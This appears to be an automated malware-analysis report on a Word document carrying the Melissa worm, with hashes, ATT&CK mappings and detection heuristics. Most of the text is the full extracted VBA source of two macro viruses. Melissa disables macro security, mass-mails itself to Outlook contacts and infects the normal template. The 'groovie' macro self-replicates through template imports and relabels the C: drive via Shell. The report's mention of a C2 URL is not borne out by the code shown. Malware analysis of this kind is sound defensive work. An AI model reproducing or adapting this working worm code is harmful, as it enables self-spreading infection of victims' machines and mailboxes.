Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 948da500c05165f2…

MALICIOUS

Office (OLE)

101.5 KB Created: 2000-04-25 14:22:00 Authoring application: Microsoft Word 8.0 First seen: 2015-06-09
MD5: d4aab68f72b7653236d4b880d9fedc61 SHA-1: 95845e5602ca57194fa462dbfaea058c30140bbc SHA-256: 948da500c05165f2b84a3e8853a66ab0d2d81b0789feedbb50d1b7aefb4bcdeb
424 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1041 Exfiltration Over C2 Channel T1190 Exploit Public-Facing Application T1204.002 Malicious File

This document contains VBA macros that exhibit self-replication and email worm behavior, consistent with the Melissa virus. The macro attempts to disable security features and harvest email addresses from Outlook to send itself to contacts. It also contains a URL that may have been used for payload delivery or C2 communication.

Heuristics 10

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell ("label c: groovie"), 0
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ADI1.codemodule.deletelines 1, ADCL
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UngaDasOutlook = CreateObject("Outlook.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22117 bytes
SHA-256: 2ca22ac9da59bc74333333ce09f906fa4fcbe4de27382854785b64bf4d80efcb
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.codemodule.CountOfLines
ADCL = ADI1.codemodule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.codemodule.deletelines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.codemodule.deletelines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.codemodule.Lines(1, 1) = ""
ADI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, ADI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.codemodule.Lines(1, 1) = ""
NTI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, NTI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub


Attribute VB_Name = "groovie"
Public I01 As String
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I02 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I03 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I04 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I05 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I06 As String
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I07 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Public I08 As Boolean
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Function I09()
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    If MacroContainer = NormalTemplate Then
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
        I01 = "normal"
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
        GoTo checkout
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    If MacroContainer = ActiveDocument Then I01 = "document"
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    If MacroContainer = "data.dot" Then I01 = "orbit"
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
checkout:
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Function I10()
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    If Dir(Application.StartupPath + "\data.dot") = "data.dot" Then I02 = True
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
        If ActiveDocument.VBProject.VBComponents(I).Name = "groovie" Then I04 = True
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    Next I
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    For I = 1 To NormalTemplate.VBProject.VBComponents.Count
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
        If NormalTemplate.VBProject.VBComponents(I).Name = "groovie" Then I03 = True
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    Next I
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
    If GetAttr(NormalTemplate.FullName) = vbArchive + vbReadOnly Or GetAttr(NormalTemplate.FullName) = vbReadOnly Then I05 = True
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Function I11()
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:09840ray840HP DeskJet 400 Printer - LPT1:
Call I09
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I10
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I01 = "document" Then Call I12
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I01 = "normal" Then Call I13
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I01 = "orbit" Then Call I14
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I05 = False Then CommandBars("tools").Controls("Macro").Delete
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I05 = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I12()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Application.VBE.ActiveVBProject.VBComponents("groovie").Export "c:\groovie.sys"
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I03 = False And I05 = False Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        With NormalTemplate.VBProject
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I02 = False Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Shell ("label c: groovie"), 0
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Windows(1).Close
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I13()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Application.ScreenUpdating = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Call I17
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I04 = False And I07 = True Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        With ActiveDocument.VBProject
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        With .VBComponents.Import("c:\groovie.sys")
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        With Dialogs(wdDialogFileSummaryInfo)
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            .Comments = "ALT-F11 says it's groovie!"
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            .Execute
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I02 = False And I07 = True Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If I08 = False Then Documents.Open FileName:=I06
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If I02 = False And I07 = False Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Documents.Add Template:="", NewTemplate:=False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        ActiveDocument.SaveAs FileName:=Application.StartupPath + "\data.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Application.OrganizerRename Source:=Application.StartupPath + "\data.dot", Name:="groovie", NewName:="orbit", Object:=wdOrganizerObjectProjectItems
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If ActiveDocument.Saved = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        Windows(1).Close SaveChanges:=wdSaveChanges
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Application.ScreenUpdating = True
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I14()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Application.ScreenUpdating = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If I03 = False And I05 = False Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            With NormalTemplate.VBProject
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            NormalTemplate.Save
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        If I04 = False Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            With ActiveDocument.VBProject
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            With .VBComponents.Import("c:\groovie.sys")
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            With Dialogs(wdDialogFileSummaryInfo)
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
                .Comments = "ALT-F11 says it's groovie!"
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
                .Execute
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
            End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Application.ScreenUpdating = True
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I15()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Options.VirusProtection = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Options.SaveNormalPrompt = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Options.ConfirmConversions = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    I06 = ActiveDocument.FullName
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    Call I11
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub AutoOpen()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub AutoClose()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
I08 = True
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub AutoExit()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub FileSaveAs()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I16
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Dialogs(wdDialogFileSaveAs).Show
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub filesave()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I16
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub fileclose()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
I08 = True
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
ActiveDocument.Close
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub fileprint()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error Resume Next
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Call I15
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Dialogs(wdDialogFilePrint).Show
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub ViewVBCode()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
MsgBox "It's GROOVIE", vbOKOnly, "�  ALT-F11  � says..."
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub ToolsMacro()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Sub FileTemplates()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Sub
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I17()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
On Error GoTo docek
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    If ActiveDocument.Name <> "" Then
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
        I07 = True
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    End If
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    GoTo over
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
docek:
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
    I07 = False
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
over:
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Function I16()
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Randomize
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
rn = Int(Rnd * 999)
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
With Application.VBE.ActiveVBProject.VBComponents("Groovie").codemodule
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
For x = 2 To 358 Step 2
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
.deletelines x
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
.InsertLines x, " ' " & Application.UserInitials & Now & rn & Application.UserName & rn & Application.ActivePrinter
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
Next x
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End With
 ' ray2000/4/23 PM 07:49:10840ray840HP DeskJet 400 Printer - LPT1:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.